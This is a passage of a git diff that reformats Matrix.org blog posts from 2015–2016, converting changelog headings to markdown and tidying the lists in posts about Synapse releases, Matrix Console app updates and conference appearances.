last month, Matrix is this week represented at Clue Con in Chicago. We have a speaking slot later today - see the full schedule here. However, this time, we will be calling in remotely from London, but what better way to demonstrate video calling than by using it? -More upcoming events include Fosscon in Pennsylvania (August 22nd), where we have two talks scheduled, and ElastixWorld in Columbia (Oct 7 & 8), where we are participating as a keynote speaker. We hope to see you there! +More upcoming events include Fosscon in Pennsylvania (August 22nd), where we have two talks scheduled, and ElastixWorld in Columbia (Oct 7 & 8), where we are participating as a keynote speaker. We hope to see you there! -As always, for questions or comments - or just to say hi - please join #matrix:matrix.org using your favourite Matrix-client! +As always, for questions or comments - or just to say hi - please join #matrix:matrix.org using your favourite Matrix-client! diff --git a/content/blog/2015/09/2015-09-03-synapse-0-10-0-is-released.md b/content/blog/2015/09/2015-09-03-synapse-0-10-0-is-released.md index 2b0d3821e..f8d7a685a 100644 --- a/content/blog/2015/09/2015-09-03-synapse-0-10-0-is-released.md +++ b/content/blog/2015/09/2015-09-03-synapse-0-10-0-is-released.md @@ -17,30 +17,24 @@ The full changelog is below. To upgrade, go read https://github.com/matrix-org/synapse/blob/master/UPGRADE.rst - to install for the first time, go to https://github.com/matrix-org/synapse/blob/master/README.rst. - -Changes in synapse v0.10.0 (2015-09-03) -======================================= +## Changes in synapse v0.10.0 (2015-09-03) No change from release candidate. -Changes in synapse v0.10.0-rc6 (2015-09-02) -=========================================== +## Changes in synapse v0.10.0-rc6 (2015-09-02) * Remove some of the old database upgrade scripts. * Fix database port script to work with newly created sqlite databases. -Changes in synapse v0.10.0-rc5 (2015-08-27) -=========================================== +## Changes in synapse v0.10.0-rc5 (2015-08-27) * Fix bug that broke downloading files with ascii filenames across federation. -Changes in synapse v0.10.0-rc4 (2015-08-27) -=========================================== +## Changes in synapse v0.10.0-rc4 (2015-08-27) * Allow UTF-8 filenames for upload. (PR #259) -Changes in synapse v0.10.0-rc3 (2015-08-25) -=========================================== +## Changes in synapse v0.10.0-rc3 (2015-08-25) * Add ``--keys-directory`` config option to specify where files such as certs and signing keys should be stored in, when using ``--generate-config`` @@ -52,14 +46,14 @@ Changes in synapse v0.10.0-rc3 (2015-08-25) * Add helper utility to synapse to read and parse the config files and extract the value of a given key. For example:: + ```bash $ python -m synapse.config read server_name -c homeserver.yaml localhost + ``` (PR #246) - -Changes in synapse v0.10.0-rc2 (2015-08-24) -=========================================== +## Changes in synapse v0.10.0-rc2 (2015-08-24) * Fix bug where we incorrectly populated the ``event_forward_extremities`` table, resulting in problems joining large remote rooms (e.g. @@ -67,9 +61,7 @@ Changes in synapse v0.10.0-rc2 (2015-08-24) * Reduce the number of times we wake up pushers by not listening for presence or typing events, reducing the CPU cost of each pusher. - -Changes in synapse v0.10.0-rc1 (2015-08-21) -=========================================== +## Changes in synapse v0.10.0-rc1 (2015-08-21) Also see v0.9.4-rc1 changelog, which has been amalgamated into this release. @@ -92,7 +84,6 @@ General: interested in. (PR #232) * Add support for AS's to use v2_alpha registration API (PR #210) - Configuration: * Add ``--generate-keys`` that will generate any missing cert and key files in @@ -118,9 +109,7 @@ Demo Homeservers: * Fix starting the demo homeservers without rate-limiting enabled. (PR #182) * Fix enabling registration on demo homeservers (PR #223) - -Changes in synapse v0.9.4-rc1 (2015-07-21) -========================================== +## Changes in synapse v0.9.4-rc1 (2015-07-21) General: @@ -135,7 +124,6 @@ General: * Improve performance by bulk inserting events where possible. (PR #193) * Improve performance by bulk verifying signatures where possible. (PR #194) - Configuration: * Add support for including TLS certificate chains. @@ -143,5 +131,3 @@ Configuration: Media Repository: * Add Content-Disposition headers to content repository responses. (SYN-150) - - diff --git a/content/blog/2015/09/2015-09-07-matrix-one-year-in.md b/content/blog/2015/09/2015-09-07-matrix-one-year-in.md index 8287abfce..7b0acf35f 100644 --- a/content/blog/2015/09/2015-09-07-matrix-one-year-in.md +++ b/content/blog/2015/09/2015-09-07-matrix-one-year-in.md @@ -13,72 +13,72 @@ Just realised that the release of Synapse 0.10.0 on Sept 3rd 2015 was precisely Back at the original launch, all we had was a *very* rough and ready Synapse homeserver, an early draft of the spec, and precisely one client - the Angular webclient, much of which was mainly written at the last minute on the plane to TechCrunch Disrupt SF (and has never quite recovered :S). From this initial seed it's been incredibly exciting and slightly scary to see how much things have advanced and grown - the big headlines for the past year (in roughly chronological order) include:
      -
    • Making Federation Work: +
    • Making Federation Work:
        -
      • Switching all of federation over to SSL, using perspectives for key management
      • -
      • Crypto-signing all the events in a room's message graph to assert integrity
      • -
      • Sorting out 'power levels' and 'auth events' to allow totally decentralised kicks/bans/etc to work in an open federated environment
      • +
      • Switching all of federation over to SSL, using perspectives for key management
      • +
      • Crypto-signing all the events in a room's message graph to assert integrity
      • +
      • Sorting out 'power levels' and 'auth events' to allow totally decentralised kicks/bans/etc to work in an open federated environment
    • -
    • Decentralised content repository and thumbnailing
    • -
    • Reference mobile "Matrix Console" clients for iOS and Android
    • -
    • Official client SDKs for iOS and Android - both at the API wrapping layer and the reusable UI component layer
    • -
    • Push notifications for APNS and GCM (both on server & clients)
    • -
    • Official client SDKs for JavaScript, Python and Perl
    • -
    • Typing notifications
    • -
    • The sytest integration test harness
    • -
    • Proper WebRTC support for VoIP, including TURN.
    • -
    • Application Services and Bots - actually letting Matrix defragment communications :) +
    • Decentralised content repository and thumbnailing
    • +
    • Reference mobile "Matrix Console" clients for iOS and Android
    • +
    • Official client SDKs for iOS and Android - both at the API wrapping layer and the reusable UI component layer
    • +
    • Push notifications for APNS and GCM (both on server & clients)
    • +
    • Official client SDKs for JavaScript, Python and Perl
    • +
    • Typing notifications
    • +
    • The sytest integration test harness
    • +
    • Proper WebRTC support for VoIP, including TURN.
    • +
    • Application Services and Bots - actually letting Matrix defragment communications :)
        -
      • Bridging to all of Freenode, Moznet and other IRC networks
      • -
      • Matrix<->SMS bridge from OpenMarket
      • -
      • SIP bridges via FreeSWITCH and Verto
      • -
      • Parrot Bebop Drone <-> Matrix bridge via Janus
      • -
      • ODB2 telemetry <->  Matrix bridge via Android SDK
      • -
      • Reusable bridging framework in Node
      • +
      • Bridging to all of Freenode, Moznet and other IRC networks
      • +
      • Matrix<->SMS bridge from OpenMarket
      • +
      • SIP bridges via FreeSWITCH and Verto
      • +
      • Parrot Bebop Drone <-> Matrix bridge via Janus
      • +
      • ODB2 telemetry <->  Matrix bridge via Android SDK
      • +
      • Reusable bridging framework in Node
    • -
    • Many iterations and refinements to the spec, including designing v2 of the client SDK
    • -
    • Switching from Angular to React for all of our web-client development
    • -
    • Customisable skins and embedding support for the matrix-react-sdk
    • -
    • End-to-end encryption (not quite formally released yet, but it's written, specced and it works!)
    • -
    • VoIP support on mobile (landed in Android; still experimenting with different WebRTC stacks on iOS)
    • -
    • History ACLs
    • -
    • Delivery reports
    • -
    • Switching from access_tokens to macaroons for authentication (not yet released)
    • -
    • Lots and lots of performance work on Synapse, as we've tried to get the most out of Twisted.
    • +
    • Many iterations and refinements to the spec, including designing v2 of the client SDK
    • +
    • Switching from Angular to React for all of our web-client development
    • +
    • Customisable skins and embedding support for the matrix-react-sdk
    • +
    • End-to-end encryption (not quite formally released yet, but it's written, specced and it works!)
    • +
    • VoIP support on mobile (landed in Android; still experimenting with different WebRTC stacks on iOS)
    • +
    • History ACLs
    • +
    • Delivery reports
    • +
    • Switching from access_tokens to macaroons for authentication (not yet released)
    • +
    • Lots and lots of performance work on Synapse, as we've tried to get the most out of Twisted.
    ...and last but not least, the evolution of the #matrix:matrix.org community - including loads of 3rd party clients, SDKs and application services, synapse packaging and even experimental home servers :) Overall the last year was an exercise in actually fleshing out the whole ecosystem of Matrix and getting it to a stable usable beta acceptable to early adopters. The plan for the next 12 months is then to make the transition from stable beta to a properly production grade environment that can be used to run large scale services used by normal end-users. In practice, this means:
      -
    • A major rearchitecture of Synapse. +
    • A major rearchitecture of Synapse.
        -
      • Synapse currently has no support for horizontal scaling or clustering within a single instance, and many will have seen the performance problems we've hit with a relatively monolithic Twisted app architecture. Profiling deferreds in Twisted has been a particular nightmare.
      • -
      • During September we are starting the process of splitting Synapse apart into separate services (e.g. separating reading eventstreams from writing messages) both to allow horizontal scalability and to experiment with implementing the services in more efficient languages than Python/Twisted.
      • -
      • We will continue the normal Synapse release process in parallel with this work.
      • +
      • Synapse currently has no support for horizontal scaling or clustering within a single instance, and many will have seen the performance problems we've hit with a relatively monolithic Twisted app architecture. Profiling deferreds in Twisted has been a particular nightmare.
      • +
      • During September we are starting the process of splitting Synapse apart into separate services (e.g. separating reading eventstreams from writing messages) both to allow horizontal scalability and to experiment with implementing the services in more efficient languages than Python/Twisted.
      • +
      • We will continue the normal Synapse release process in parallel with this work.
    • -
    • Ensuring Matrix can support a genuinely excellent UX for normal end-users on glossy clients, and supporting glossy client development as required.  The days of Matrix being just for powerusers are numbered... :)
    • -
    • Switching to use 3rd party IDs as the primary means of referring to users in Matrix, hiding matrix IDs as a feature for powerusers and developers.
    • -
    • Finishing the spec. You may have noticed the spec has been quietly evolving over the last few months - finally gaining a versioning system, and with larger chunks of it being automatically generated from formal API spec descriptions. We will be finishing off and filling in the remaining holes.
    • -
    • Improving the documentation (and FAQ!) on matrix.org in general by switching to a git-backed jekyll system for all the staticish content
    • -
    • Replace the Angular-based reference webapp bundled with Synapse entirely with a matrix-react-sdk based reference app, and providing better examples and documentation for using it to embed Matrix functionality into existing websites.
    • -
    • Moving to v2 of the client-server API. This fixes some significant limitations in the v1 API that everyone's been using all year, and should improve performance significantly for many use cases (especially when launching apps). The v1 API will hang around for a very very long time for backwards compatibility.
    • -
    • Writing *lots* more bridges and integrations to other protocols, now we have a nice framework for rapidly developing them.
    • -
    • General security audits and double-checking the security model.
    • -
    • New features, including: +
    • Ensuring Matrix can support a genuinely excellent UX for normal end-users on glossy clients, and supporting glossy client development as required.  The days of Matrix being just for powerusers are numbered... :)
    • +
    • Switching to use 3rd party IDs as the primary means of referring to users in Matrix, hiding matrix IDs as a feature for powerusers and developers.
    • +
    • Finishing the spec. You may have noticed the spec has been quietly evolving over the last few months - finally gaining a versioning system, and with larger chunks of it being automatically generated from formal API spec descriptions. We will be finishing off and filling in the remaining holes.
    • +
    • Improving the documentation (and FAQ!) on matrix.org in general by switching to a git-backed jekyll system for all the staticish content
    • +
    • Replace the Angular-based reference webapp bundled with Synapse entirely with a matrix-react-sdk based reference app, and providing better examples and documentation for using it to embed Matrix functionality into existing websites.
    • +
    • Moving to v2 of the client-server API. This fixes some significant limitations in the v1 API that everyone's been using all year, and should improve performance significantly for many use cases (especially when launching apps). The v1 API will hang around for a very very long time for backwards compatibility.
    • +
    • Writing *lots* more bridges and integrations to other protocols, now we have a nice framework for rapidly developing them.
    • +
    • General security audits and double-checking the security model.
    • +
    • New features, including:
        -
      • Multiway VoIP and Video conferencing, most likely using FreeSWITCH's new conferencing capabilities via an Application Service bridge (should be ready very shortly!)
      • -
      • Getting E2E crypto reviewed/audited and putting it live across the board.
      • -
      • Adding VoIP to iOS
      • -
      • Implementing delivery reports in all clients
      • -
      • Improving how invites work (ability to reject them; metadata about where they came from)
      • -
      • Search API
      • -
      • Improved file management
      • +
      • Multiway VoIP and Video conferencing, most likely using FreeSWITCH's new conferencing capabilities via an Application Service bridge (should be ready very shortly!)
      • +
      • Getting E2E crypto reviewed/audited and putting it live across the board.
      • +
      • Adding VoIP to iOS
      • +
      • Implementing delivery reports in all clients
      • +
      • Improving how invites work (ability to reject them; metadata about where they came from)
      • +
      • Search API
      • +
      • Improved file management
    • -
    • ...and an awful lot of bug fixing as we work through the backlog we've accumulated on JIRA.
    • +
    • ...and an awful lot of bug fixing as we work through the backlog we've accumulated on JIRA.
    Hopefully this won't take up all year(!) and is just a beginning - there's a huge list of interesting ideas beyond this baseline which we'll be looking at assuming the core stuff above is on track. For instance, we need to work out how to decentralise the identity services that mapping 3rd party IDs to matrix IDs. We need to work out how to avoid spam. And it could be fascinating to start bridging more internet-of-things devices and ecosystems into Matrix, or decentralising user accounts between homeservers, or perhaps using Matrix for synchronising more sophisticated data structures than timelines and key-value state dictionaries... diff --git a/content/blog/2015/09/2015-09-10-voip-calling-now-supported-in-android-matrix-console.md b/content/blog/2015/09/2015-09-10-voip-calling-now-supported-in-android-matrix-console.md index d59a66d5e..783ecdf0c 100644 --- a/content/blog/2015/09/2015-09-10-voip-calling-now-supported-in-android-matrix-console.md +++ b/content/blog/2015/09/2015-09-10-voip-calling-now-supported-in-android-matrix-console.md @@ -11,12 +11,12 @@ The Android Matrix Console app has been updated to v0.4.4, and now supports voic In addition to the new voice and video support, and all the related call management, this release includes:
      -
    • One-tap "autocomplete": clicking on a displayname inserts that into the message box
    • -
    • Click on any (textual) event to copy its content
    • -
    • The app can now be installed either in device memory or on the SD card
    • -
    • Notifications can be enabled per room
    • -
    • Fix for an edge-case where messages could be duplicated
    • -
    • Fixed several reported issues/crashes - for the full list look at the CHANGES files in the console and SDK projects
    • +
    • One-tap "autocomplete": clicking on a displayname inserts that into the message box
    • +
    • Click on any (textual) event to copy its content
    • +
    • The app can now be installed either in device memory or on the SD card
    • +
    • Notifications can be enabled per room
    • +
    • Fix for an edge-case where messages could be duplicated
    • +
    • Fixed several reported issues/crashes - for the full list look at the CHANGES files in the console and SDK projects
    diff --git a/content/blog/2015/09/2015-09-18-upcoming-conferences.md b/content/blog/2015/09/2015-09-18-upcoming-conferences.md index bd4ad3bab..2589252ee 100644 --- a/content/blog/2015/09/2015-09-18-upcoming-conferences.md +++ b/content/blog/2015/09/2015-09-18-upcoming-conferences.md @@ -11,7 +11,7 @@ The Matrix bandwagon goes on, and we have several conferences and events lined u First up is TADHack mini in Chicago, October 3-4, where Matrix is sponsoring and handing out prizes to the best two hacks using Matrix in some way or another. The previous TADHack mini and the Global TADHack were both excellent events where we saw some really cool hacks - we are looking forward to see what people will put together this time! -Also in Chicago, a couple of days later, is the IIT Real-Time Communications Conference & Expo - October 6-8 - where we will be exhibiting and speaking about the problem of fragmented communication. +Also in Chicago, a couple of days later, is the IIT Real-Time Communications Conference & Expo - October 6-8 - where we will be exhibiting and speaking about the problem of fragmented communication. At the same time, we will also be represented at Elastix World, in Bogotá, Columbia, October 7-8, where Matthew is one of the keynote speakers! Matrix is also sponsoring this event. diff --git a/content/blog/2015/09/2015-09-21-matrix-console-ios-0-5-3.md b/content/blog/2015/09/2015-09-21-matrix-console-ios-0-5-3.md index f781718d7..6f6abb1ba 100644 --- a/content/blog/2015/09/2015-09-21-matrix-console-ios-0-5-3.md +++ b/content/blog/2015/09/2015-09-21-matrix-console-ios-0-5-3.md @@ -9,10 +9,10 @@ category = ["General"] Heads up that we've just pushed the big red release button on Matrix Console iOS 0.5.3. This includes a bunch of updates to MatrixKit that you can take advantage of in your MatrixKit powered app. These include:
      -
    • Animated Gif support! banana
    • -
    • Support for pasting images, videos and documents into the input field
    • -
    • Inclusions of matrix IDs when searching
    • -
    • Options to customise the thumbnail thumbnail display box
    • +
    • Animated Gif support! banana
    • +
    • Support for pasting images, videos and documents into the input field
    • +
    • Inclusions of matrix IDs when searching
    • +
    • Options to customise the thumbnail thumbnail display box
    You can see the full MatrixKit change list in CHANGES.rst. diff --git a/content/blog/2015/09/2015-09-23-tadhack-chicago-october-3-4.md b/content/blog/2015/09/2015-09-23-tadhack-chicago-october-3-4.md index a4c785b8a..02c48fc2a 100644 --- a/content/blog/2015/09/2015-09-23-tadhack-chicago-october-3-4.md +++ b/content/blog/2015/09/2015-09-23-tadhack-chicago-october-3-4.md @@ -9,8 +9,6 @@ category = ["Events"] TADHack ChicagoMatrix is sponsoring another TADHack, this time TADHack mini in Chicago on October 3-4. Come hack something cool together using Matrix, either in Chicago or remotely! At past TADHacks we've seen a robot controlled with Matrix, collaborative web page viewing with Matrix as the underlying protocol, and more. - - HR-OS1 Humanoid EndoskeletonAs well as being lots of fun, we've teamed up with Trossen Robotics to offer a HR-OS1 Humanoid Endoskeleton for the best hack using the Matrix standard. The HR-OS1 is a hackable, modular, humanoid robot development platform designed from the ground up with customization and modification in mind. With a Raspberry Pi 2, webcam, wifi, bluetooth, and all of the limbs you expect for a human, there's a lot of scope for exciting projects to be had with it! I for one would love to ask an open source robot to bring me snacks over chat. (Wow that's a sentence I never thought I would be able to say) diff --git a/content/blog/2015/10/2015-10-06-congrats-to-our-tadhack-matrix-winner.md b/content/blog/2015/10/2015-10-06-congrats-to-our-tadhack-matrix-winner.md index 53197ebda..97891172b 100644 --- a/content/blog/2015/10/2015-10-06-congrats-to-our-tadhack-matrix-winner.md +++ b/content/blog/2015/10/2015-10-06-congrats-to-our-tadhack-matrix-winner.md @@ -19,5 +19,4 @@ Adnan Baleh, Caterina Lazaro, Javier Garcia, Ernesto G. Grabwosky, Sergio Gil an [caption id="attachment_1307" align="aligncenter" width="1024"]Daniel presenting the HR-OS1 to team 'ProbatioNerds' Daniel presenting the HR-OS1 to team 'ProbatioNerds' (Photo courtesy of Alan Quayle)[/caption] - We keep being impressed by the quality of projects developed at TADHacks - remember, in practice you only have around 12 hours to work on your hack. Congrats to all who participated - and thanks to Alan for arranging it! diff --git a/content/blog/2015/10/2015-10-07-android-matrix-console-0-5-1-released.md b/content/blog/2015/10/2015-10-07-android-matrix-console-0-5-1-released.md index e7bc9e1f4..275436348 100644 --- a/content/blog/2015/10/2015-10-07-android-matrix-console-0-5-1-released.md +++ b/content/blog/2015/10/2015-10-07-android-matrix-console-0-5-1-released.md @@ -7,17 +7,17 @@ author = ["Oddvar Lovaas"] category = ["General"] +++ -Following from the addition of voice and video calling in the previous release, we have added some new features and fixed more bugs - and released v0.5.1 of the Android version of the Matrix Console app. +Following from the addition of voice and video calling in the previous release, we have added some new features and fixed more bugs - and released v0.5.1 of the Android version of the Matrix Console app. Please note that installing this update will log you out of the app and require you to sign in again! This release includes:
      -
    • Support for self-signed certificates
    • -
    • Support for recording and sending video messages
    • -
    • We have improved the performance when you resume the app
    • -
    • We fixed a bug where a picture/video would disappear after rotation
    • -
    • Fixed several reported issues/crashes - for the full list look at the CHANGES files in the console and SDK projects
    • +
    • Support for self-signed certificates
    • +
    • Support for recording and sending video messages
    • +
    • We have improved the performance when you resume the app
    • +
    • We fixed a bug where a picture/video would disappear after rotation
    • +
    • Fixed several reported issues/crashes - for the full list look at the CHANGES files in the console and SDK projects
    Get it now from the Google play store! diff --git a/content/blog/2015/11/2015-11-17-synapse-0-11-0-is-here.md b/content/blog/2015/11/2015-11-17-synapse-0-11-0-is-here.md index 7106f4c35..f94f7e133 100644 --- a/content/blog/2015/11/2015-11-17-synapse-0-11-0-is-here.md +++ b/content/blog/2015/11/2015-11-17-synapse-0-11-0-is-here.md @@ -7,28 +7,23 @@ author = ["Oddvar Lovaas"] category = ["General"] +++ -Today, we are releasing Synapse version 0.11.0. In the last week, we have had two release candidates, and this release also includes changes in v0.10.1-rc1 from October. +Today, we are releasing Synapse version 0.11.0. In the last week, we have had two release candidates, and this release also includes changes in v0.10.1-rc1 from October. New features include a new Search API and better options for logging in (CAS and login fallback support) - thanks to Steven for contributing CAS support. We also introduce room tagging and as usual, there are plenty of improvements and fixes. For the full info, see the changelog below. To upgrade, go read https://github.com/matrix-org/synapse/blob/master/UPGRADE.rst - to install for the first time, go to https://github.com/matrix-org/synapse/blob/master/README.rst. - - -Changes in synapse v0.11.0 (2015-11-17) -======================================= +## Changes in synapse v0.11.0 (2015-11-17) * Change CAS login API (PR #349) -Changes in synapse v0.11.0-rc2 (2015-11-13) -=========================================== +## Changes in synapse v0.11.0-rc2 (2015-11-13) * Various changes to /sync API response format (PR #373) * Fix regression when setting display name in newly joined room over federation (PR #368) * Fix problem where /search was slow when using SQLite (PR #366) -Changes in synapse v0.11.0-rc1 (2015-11-11) -=========================================== +## Changes in synapse v0.11.0-rc1 (2015-11-11) * Add Search API (PR #307, #324, #327, #336, #350, #359) * Add 'archived' state to v2 /sync API (PR #316) @@ -43,8 +38,7 @@ Changes in synapse v0.11.0-rc1 (2015-11-11) * Fix bug where we hosted static content in the incorrect place (PR #329) * Fix bug where we didn't increment retry interval for remote servers (PR #343) -Changes in synapse v0.10.1-rc1 (2015-10-15) -=========================================== +## Changes in synapse v0.10.1-rc1 (2015-10-15) * Add support for CAS, thanks to Steven Hammerton (PR #295, #296) * Add support for using macaroons for access_token (PR #256, #229) @@ -58,5 +52,3 @@ Changes in synapse v0.10.1-rc1 (2015-10-15) * Allow users to redact their own sent events (PR #262) * Use tox for tests (PR #247) * Split up syutil into separate libraries (PR #243) - - diff --git a/content/blog/2015/11/2015-11-20-android-matrix-console-0-5-2.md b/content/blog/2015/11/2015-11-20-android-matrix-console-0-5-2.md index 35b6c44e0..8a7d474ae 100644 --- a/content/blog/2015/11/2015-11-20-android-matrix-console-0-5-2.md +++ b/content/blog/2015/11/2015-11-20-android-matrix-console-0-5-2.md @@ -11,14 +11,14 @@ The Android Matrix Console app v0.5.2 is currently in the queue to go live on th This release includes:
      -
    • Read receipts!
    • -
    • Call ring volume is now based on device ring volume
    • -
    • Accessibility tweaks from Peter Vágner - thanks!
    • -
    • Better SSL support for older devices
    • -
    • We fixed an echo problem in Android{'<->'}Android VOIP calls
    • -
    • A ringback tone for placing outbound calls was added
    • -
    • Lots of small improvements, e.g. better recent message display and add account dialog
    • -
    • Fixed several reported issues/crashes - for the full list look at the CHANGES files in the console and SDK projects
    • +
    • Read receipts!
    • +
    • Call ring volume is now based on device ring volume
    • +
    • Accessibility tweaks from Peter Vágner - thanks!
    • +
    • Better SSL support for older devices
    • +
    • We fixed an echo problem in Android{'<->'}Android VOIP calls
    • +
    • A ringback tone for placing outbound calls was added
    • +
    • Lots of small improvements, e.g. better recent message display and add account dialog
    • +
    • Fixed several reported issues/crashes - for the full list look at the CHANGES files in the console and SDK projects
    Get it RSN from the Google play store! diff --git a/content/blog/2015/11/2015-11-22-matrix-console-ios-0-5-6.md b/content/blog/2015/11/2015-11-22-matrix-console-ios-0-5-6.md index 52f380701..62a200c5c 100644 --- a/content/blog/2015/11/2015-11-22-matrix-console-ios-0-5-6.md +++ b/content/blog/2015/11/2015-11-22-matrix-console-ios-0-5-6.md @@ -7,7 +7,7 @@ author = ["Oddvar Lovaas"] category = ["General"] +++ -In addition to the Android release a couple of days ago, we also released a new version of Matrix Console iOS: v0.5.6! +In addition to the Android release a couple of days ago, we also released a new version of Matrix Console iOS: v0.5.6! This release includes a new version of MatrixKit (v0.2.7) that you can take advantage of in your MatrixKit powered app. There are several changes in MatrixKit since the last release, including improved performance, better handling of unrecognized certificates and fixes of reported crash issues. We have also introduced read receipts, improved the chat history display, made room invites more obvious, and fixed a whole lot of JIRA issues. diff --git a/content/blog/2015/12/2015-12-01-matrix-at-32c3-congress.md b/content/blog/2015/12/2015-12-01-matrix-at-32c3-congress.md index ee0d18dbc..af67ef925 100644 --- a/content/blog/2015/12/2015-12-01-matrix-at-32c3-congress.md +++ b/content/blog/2015/12/2015-12-01-matrix-at-32c3-congress.md @@ -14,7 +14,7 @@ Matrix will be represented at the 32nd Chaos Computer Club, Dec 27th-30th, 2015. The session is free of charge, although you do need a ticket to the Congress itself. -If you are interested, please register by sending an email to mark@matrix.org. All you need for the session is curiosity - but do bring your own laptop if you want to hack as well! +If you are interested, please register by sending an email to . All you need for the session is curiosity - but do bring your own laptop if you want to hack as well! Anyone is welcome to join - it will basically be a fairly open-ended chat about all things relating to Matrix, and a good chance to do some deep digging into Matrix itself. diff --git a/content/blog/2015/12/2015-12-25-the-matrix-holiday-special.md b/content/blog/2015/12/2015-12-25-the-matrix-holiday-special.md index 34d61822a..05cecd18a 100644 --- a/content/blog/2015/12/2015-12-25-the-matrix-holiday-special.md +++ b/content/blog/2015/12/2015-12-25-the-matrix-holiday-special.md @@ -80,7 +80,7 @@ We had a lot of fun in Orlando in October at downloadable here. -## Pidgin! +## Pidgin We also implemented a basic libpurple plugin for Matrix - adding Matrix support to any app like Pidgin or Bitlbee that uses libpurple. (You could in theory even use it with matrix-appservice-purple to bridge from Matrix to Matrix, but that'd be silly :). It supports basic functionality and uses the new 'v2' APIs for syncing to Matrix. Adventurous libpurplers can go check it out and experiment with it from https://github.com/matrix-org/purple-matrix - feedback welcome. diff --git a/content/blog/2016/01/2016-01-18-fosdem-16.md b/content/blog/2016/01/2016-01-18-fosdem-16.md index f9e1c1b1d..3b3c77f02 100644 --- a/content/blog/2016/01/2016-01-18-fosdem-16.md +++ b/content/blog/2016/01/2016-01-18-fosdem-16.md @@ -12,7 +12,7 @@ category = ["Events"] Matrix will again be represented at FOSDEM (Free and Open Source Software Developers' European Meeting) in Brussels, Belgium, January 30th and 31st. This year, we have two talks scheduled: one in the IoT devroom on Saturday at noon, and one in the Real Time devroom at 3.10pm the same day. We also have a stand on the 2nd floor of the K building - next to the Real Time lounge (potentially same spot as last year). If you're going to FOSDEM, please come and say hi to us at the stand or at the talks! - + Our trip to FOSDEM '15 was very enjoyable; we met a lot of smart people and learnt about a lot of interesting technologies and projects. Hopefully we made a few people enthusiastic about Matrix as well! - + As always, for any questions or comments, please come talk to us in the official Matrix HQ room - you can join via any of these clients (or write your own!). diff --git a/content/blog/2016/02/2016-02-09-matrix-in-japan.md b/content/blog/2016/02/2016-02-09-matrix-in-japan.md index 77ebf3815..4ce42ae28 100644 --- a/content/blog/2016/02/2016-02-09-matrix-in-japan.md +++ b/content/blog/2016/02/2016-02-09-matrix-in-japan.md @@ -7,13 +7,13 @@ author = ["Oddvar Lovaas"] category = ["General"] +++ -こんにちは +こんにちは Matrix is on its way to Japan where Kegan is attending the TADHack-mini (Feb 13th and 14th) and WebRTC Conference (Feb 16th and 17th). Kegan will help hackers with their projects during the TADHack, but first, he will give a talk on Matrix and how it can be used. We are again awarding a trossen robot to the best hack using Matrix, and we are as always curious to see what kind of cool and crazy ideas people will come up with! -A couple of days later, Kegan will be giving a talk during the WebRTC Conference: "The missing signalling layer for WebRTC". +A couple of days later, Kegan will be giving a talk during the WebRTC Conference: "The missing signalling layer for WebRTC". Both of the talks will be live-translated, and there will also be a translator available during the events, so please come and say hello to Kegan-san! As always, we are also available in the Matrix HQ room, via a client like Vector or any other client! diff --git a/content/blog/2016/02/2016-02-10-synapse-0-13-released.md b/content/blog/2016/02/2016-02-10-synapse-0-13-released.md index 2f4437e2b..4d18d6cd5 100644 --- a/content/blog/2016/02/2016-02-10-synapse-0-13-released.md +++ b/content/blog/2016/02/2016-02-10-synapse-0-13-released.md @@ -19,16 +19,13 @@ Matthew Full release notes: - -Changes in synapse v0.13.1 (2016-02-10) -======================================= +## Changes in synapse v0.13.1 (2016-02-10) * Bump matrix-angular-sdk (matrix web console) dependency to 0.6.8 to pull in the fix for SYWEB-361 so that the default client can display HTML messages again(!) -Changes in synapse v0.13.0 (2016-02-10) -======================================= +## Changes in synapse v0.13.0 (2016-02-10) This version includes an upgrade of the schema, specifically adding an index to the ``events`` table. This may cause synapse to pause for several minutes the @@ -49,10 +46,7 @@ Bug fixes: registration email on a different device (PR #547) * Fix bug where unread count could be wrong (PR #568) - - -Changes in synapse v0.12.1-rc1 (2016-01-29) -=========================================== +## Changes in synapse v0.12.1-rc1 (2016-01-29) Features: @@ -95,5 +89,3 @@ Bug fixes: * Fix enabling and disabling push rules (PR #498) * Fix bug where ``/register`` returned 500 when given unicode username (PR #513) - - diff --git a/content/blog/2016/02/2016-02-25-add-your-matrix-project.md b/content/blog/2016/02/2016-02-25-add-your-matrix-project.md index 2f200c777..8ac36f098 100644 --- a/content/blog/2016/02/2016-02-25-add-your-matrix-project.md +++ b/content/blog/2016/02/2016-02-25-add-your-matrix-project.md @@ -7,7 +7,7 @@ author = ["Oddvar Lovaas"] category = ["General"] +++ -The try-matrix-now page is now being generated by jekyll and all the project pages have been moved to the matrix-doc project on github. +The try-matrix-now page is now being generated by jekyll and all the project pages have been moved to the matrix-doc project on github. The idea is to make it very easy for anyone to add or update a project entry. All you need to do is to submit a PR with the project details; feel free to start with the template, and you can also add images (thumbnail and/or a main picture for the project page) to the images subfolder (just use the same relative URL that is in the template). Any kind of project using Matrix is welcome; if you are unsure which category to use, just use "other". diff --git a/content/blog/2016/03/2016-03-26-the-matrix-spring-special.md b/content/blog/2016/03/2016-03-26-the-matrix-spring-special.md index 613b8a0b7..16b727d6f 100644 --- a/content/blog/2016/03/2016-03-26-the-matrix-spring-special.md +++ b/content/blog/2016/03/2016-03-26-the-matrix-spring-special.md @@ -23,7 +23,7 @@ Ignoring the unrelated blip during March, you can see an enormous step change in Meanwhile, Synapse 0.14 is due any day now with 0.14.0-rc2 released on Wednesday. Here, the focus has been all about memory optimisation - anyone who's run a Synapse seriously will be aware that it can be a memory hog thanks to aggressively caching as much state and history in RAM as possible to avoid hitting the database and keeping everything responsive. 0.14 should improve memory usage just as dramatically as 0.13 improved CPU utilisation - introducing a quick-and-dirty SYNAPSE_CACHE_FACTOR environment variable that lets admins dial down the aggressiveness of the caching (at the expense of performance), but more interestingly implementing string interning and ensuring that events are cached by ID rather than duplicated across multiple caches in order to make memory usage more efficient. It's too early to have impressive looking graphs, and there are still a few memory spikes being tracked down before we release 0.14, but we're hoping for at least a 50% reduction in memory footprint. -Featurewise the highlights include: server-generated unread notification & highlight counts and push badge support, lots of support and refinements for guest access and 3rd party ID invites. Meanwhile we've finally fixed some of the most embarrassing long-standing missing features such as letting folks logout serverside(!), delete aliases and determine whether rooms should be published in the room directory or not. +Featurewise the highlights include: server-generated unread notification & highlight counts and push badge support, lots of support and refinements for guest access and 3rd party ID invites. Meanwhile we've finally fixed some of the most embarrassing long-standing missing features such as letting folks logout serverside(!), delete aliases and determine whether rooms should be published in the room directory or not. Finally, Synapse is now part of FreeBSD Ports thanks to Brendan Molloy, and NixOS thanks to Robin Lambertz! Huge thanks to them for contributing the packages to the respective OSes and to all the other synapse package maintainers out there! diff --git 